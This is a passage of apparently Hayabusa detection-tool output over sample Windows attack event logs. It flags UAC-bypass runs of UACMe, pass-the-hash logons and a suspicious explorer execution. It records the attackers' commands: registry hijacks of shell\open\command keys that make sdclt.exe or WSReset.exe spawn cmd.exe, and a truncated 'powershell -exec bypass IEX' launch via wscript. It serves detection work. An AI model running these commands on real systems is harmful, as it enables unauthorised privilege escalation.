Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_38.evtx +2019-08-03 22:50:27.356 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: huy32,wf.msc ""C:\Users\IEUser\AppData\Local\Temp\kmkze.msc"" : Path: C:\Windows\System32\mmc.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 38",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_38.evtx +2019-08-03 22:50:29.424 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Users\IEUser\AppData\Local\Temp\fubuki.exe"" : Path: C:\Users\IEUser\AppData\Local\Temp\Fubuki.exe : User: MSEDGEWIN10\IEUser : Parent Command: huy32,wf.msc ""C:\Users\IEUser\AppData\Local\Temp\kmkze.msc""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_38.evtx +2019-08-03 22:50:29.424 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_38.evtx +2019-08-03 22:50:29.459 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Users\IEUser\AppData\Local\Temp\fubuki.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_38.evtx +2019-08-04 00:08:06.262 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 39 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_39.evtx +2019-08-04 00:08:06.262 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_39.evtx +2019-08-04 00:08:06.419 +09:00,MSEDGEWIN10,11,high,UAC Bypass Using .NET Code Profiler on MMC,,rules/sigma/file_event/sysmon_uac_bypass_dotnet_profiler.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_39.evtx +2019-08-04 00:08:06.730 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\mmc.exe"" eventvwr.msc : Path: C:\Windows\System32\mmc.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 39",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_39.evtx +2019-08-04 00:08:06.796 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 376 0000028064463A00 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_39.evtx +2019-08-04 00:08:07.144 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\mmc.exe"" eventvwr.msc : Path: C:\Windows\System32\mmc.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 39",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_39.evtx +2019-08-04 00:08:07.558 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\mmc.exe"" eventvwr.msc",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_39.evtx +2019-08-04 00:08:07.558 +09:00,MSEDGEWIN10,1,high,MMC Spawning Windows Shell,,rules/sigma/process_creation/win_mmc_spawn_shell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_39.evtx +2019-08-04 00:16:30.389 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 41 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_41.evtx +2019-08-04 00:16:30.389 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_41.evtx +2019-08-04 00:16:31.012 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 342 00000280644BB040 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_41.evtx +2019-08-04 00:16:31.779 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_41.evtx +2019-08-04 00:16:31.779 +09:00,MSEDGEWIN10,1,high,CMSTP UAC Bypass via COM Object Access,,rules/sigma/process_creation/win_cmstp_com_object_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_41.evtx +2019-08-04 16:26:33.984 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 43 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_43.evtx +2019-08-04 16:26:33.984 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_43.evtx +2019-08-04 16:26:34.302 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 342 0000028064468040 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_43.evtx +2019-08-04 16:26:34.689 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 330 000002806444C490 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_43.evtx +2019-08-04 16:26:35.182 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\DllHost.exe /Processid:{D2E7041B-2927-42FB-8E9F-7CE93B6DC937}",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_43.evtx +2019-08-04 16:26:35.182 +09:00,MSEDGEWIN10,1,high,CMSTP UAC Bypass via COM Object Access,,rules/sigma/process_creation/win_cmstp_com_object_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_43.evtx +2019-08-04 17:56:16.228 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 45 c:\Windows\SysWOW64\notepad.exe : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 17:56:16.228 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 17:56:16.650 +09:00,MSEDGEWIN10,13,high,Shell Open Registry Keys Manipulation,,rules/sigma/registry_event/win_registry_shell_open_keys_manipulation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 17:56:16.967 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 294 0000028064421EA0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 17:56:18.321 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\ChangePk.exe"" : Path: C:\Windows\System32\changepk.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\slui.exe"" 0x03",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 17:56:18.321 +09:00,MSEDGEWIN10,1,high,UAC Bypass Using ChangePK and SLUI,,rules/sigma/process_creation/win_uac_bypass_changepk_slui.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 17:56:20.446 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 444 00000280644250C0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 17:56:20.937 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\SystemSettingsAdminFlows.exe"" EnterProductKey : Path: C:\Windows\System32\SystemSettingsAdminFlows.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\ImmersiveControlPanel\SystemSettings.exe"" -ServerName:microsoft.windows.immersivecontrolpanel",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 17:56:22.193 +09:00,MSEDGEWIN10,12,medium,Removal of Potential COM Hijacking Registry Keys,,rules/sigma/registry_event/sysmon_removal_com_hijacking_registry_key.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_45.evtx +2019-08-04 18:10:28.612 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 53 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:28.612 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:28.807 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\reg.exe add HKEY_CURRENT_USER\Software\Classes\Folder\shell\open\command /v ""DelegateExecute"" /t REG_SZ /d """" /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: sihost.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:28.925 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\reg.exe add HKEY_CURRENT_USER\Software\Classes\Folder\shell\open\command /v """" /t REG_SZ /d ""C:\Windows\system32\cmd.exe"" /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: sihost.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:29.409 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdclt.exe"" : Path: C:\Windows\System32\sdclt.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 53",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:29.431 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 300 000002806445E5C0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:30.395 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdclt.exe"" : Path: C:\Windows\System32\sdclt.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 53",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:30.395 +09:00,MSEDGEWIN10,1,medium,High Integrity Sdclt Process,,rules/sigma/process_creation/sysmon_high_integrity_sdclt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:30.752 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\control.exe"" /name Microsoft.BackupAndRestoreCenter : Path: C:\Windows\System32\control.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\sdclt.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:30.752 +09:00,MSEDGEWIN10,1,medium,Sdclt Child Processes,,rules/sigma/process_creation/sysmon_sdclt_child_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:30.972 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\control.exe"" /name Microsoft.BackupAndRestoreCenter",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:10:35.402 +09:00,MSEDGEWIN10,12,medium,Removal of Potential COM Hijacking Registry Keys,,rules/sigma/registry_event/sysmon_removal_com_hijacking_registry_key.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_53.evtx +2019-08-04 18:33:57.582 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 55 c:\Windows\SysWOW64\notepad.exe : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_54.evtx +2019-08-04 18:33:57.582 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_54.evtx +2019-08-04 18:33:58.087 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\windows\system32\cmd.exe ""C:\Windows\system32\osk.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 55 c:\Windows\SysWOW64\notepad.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_54.evtx +2019-08-04 18:33:58.127 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: c:\Windows\SysWOW64\notepad.exe : Path: C:\Users\IEUser\AppData\Local\Temp\Fubuki.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 55 c:\Windows\SysWOW64\notepad.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_54.evtx +2019-08-04 18:33:58.127 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_54.evtx +2019-08-04 18:33:58.713 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\msconfig.exe"" -5 : Path: C:\Windows\System32\msconfig.exe : User: MSEDGEWIN10\IEUser : Parent Command: c:\Windows\SysWOW64\notepad.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_54.evtx +2019-08-04 18:33:58.774 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 322 000002806447A490 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_54.evtx +2019-08-04 18:33:59.225 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\msconfig.exe"" -5 : Path: C:\Windows\System32\msconfig.exe : User: MSEDGEWIN10\IEUser : Parent Command: c:\Windows\SysWOW64\notepad.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_54.evtx +2019-08-04 19:16:29.676 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: UACME.exe 56 : Path: C:\Users\IEUser\Desktop\UACME.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:29.676 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:31.175 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\reg.exe add HKEY_CURRENT_USER\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\shell\open\command /v ""DelegateExecute"" /t REG_SZ /d """" /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: sihost.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:31.485 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\reg.exe add HKEY_CURRENT_USER\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\shell\open\command /v """" /t REG_SZ /d ""C:\Windows\system32\cmd.exe /c start C:\Windows\system32\cmd.exe"" /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: sihost.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:31.949 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\WSReset.exe"" : Path: C:\Windows\System32\WSReset.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 56",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:32.001 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 896 312 000002806444CB40 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:32.438 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\WSReset.exe"" : Path: C:\Windows\System32\WSReset.exe : User: MSEDGEWIN10\IEUser : Parent Command: UACME.exe 56",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:32.438 +09:00,MSEDGEWIN10,1,high,UAC Bypass WSReset,,rules/sigma/process_creation/win_uac_bypass_wsreset.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:50.009 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c start C:\Windows\system32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\WSReset.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:50.009 +09:00,MSEDGEWIN10,1,high,Wsreset UAC Bypass,,rules/sigma/process_creation/win_wsreset_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:50.009 +09:00,MSEDGEWIN10,1,high,Bypass UAC via WSReset.exe,,rules/sigma/process_creation/win_uac_wsreset.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:50.455 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c start C:\Windows\system32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:55.299 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\reg.exe add HKEY_CURRENT_USER\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\shell\open\command /v """" /t REG_SZ /d ""C:\Windows\system32\cmd.exe /c start C:\Windows\system32\cmd.exe"" /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: sihost.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-04 19:16:55.446 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\reg.exe add HKEY_CURRENT_USER\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\shell\open\command /v ""DelegateExecute"" /t REG_SZ /d ""{4ED3A719-CEA8-4BD9-910D-E252F997AFC2}"" /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: sihost.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_UACME_56.evtx +2019-08-05 18:39:30.697 +09:00,MSEDGEWIN10,4624,informational,Logon Type 9 - NewCredentials,User: IEUser : Workstation: - : IP Address: ::1 : Port: 0 : LogonID: 0x38f87e : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-9-NewInteractive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Invoke_TokenDuplication_UAC_Bypass4624.evtx +2019-08-05 18:39:30.697 +09:00,MSEDGEWIN10,4624,medium,Pass the Hash Activity 2,,rules/sigma/builtin/security/win_pass_the_hash_2.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Invoke_TokenDuplication_UAC_Bypass4624.evtx +2019-08-05 18:39:30.697 +09:00,MSEDGEWIN10,4624,high,Successful Overpass the Hash Attempt,,rules/sigma/builtin/security/win_overpass_the_hash.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Invoke_TokenDuplication_UAC_Bypass4624.evtx +2019-08-14 20:53:29.688 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\windows\explorer.exe"" shell:::{769f9427-3cc6-4b62-be14-2a705115b7ab} : Path: C:\Windows\explorer.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec.evtx +2019-08-14 20:53:30.010 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding : Path: C:\Windows\explorer.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec.evtx +2019-08-14 20:53:30.022 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""c:\windows\system32\wscript.exe"" /E:vbs c:\windows\temp\icon.ico ""powershell -exec bypass -c """"IEX 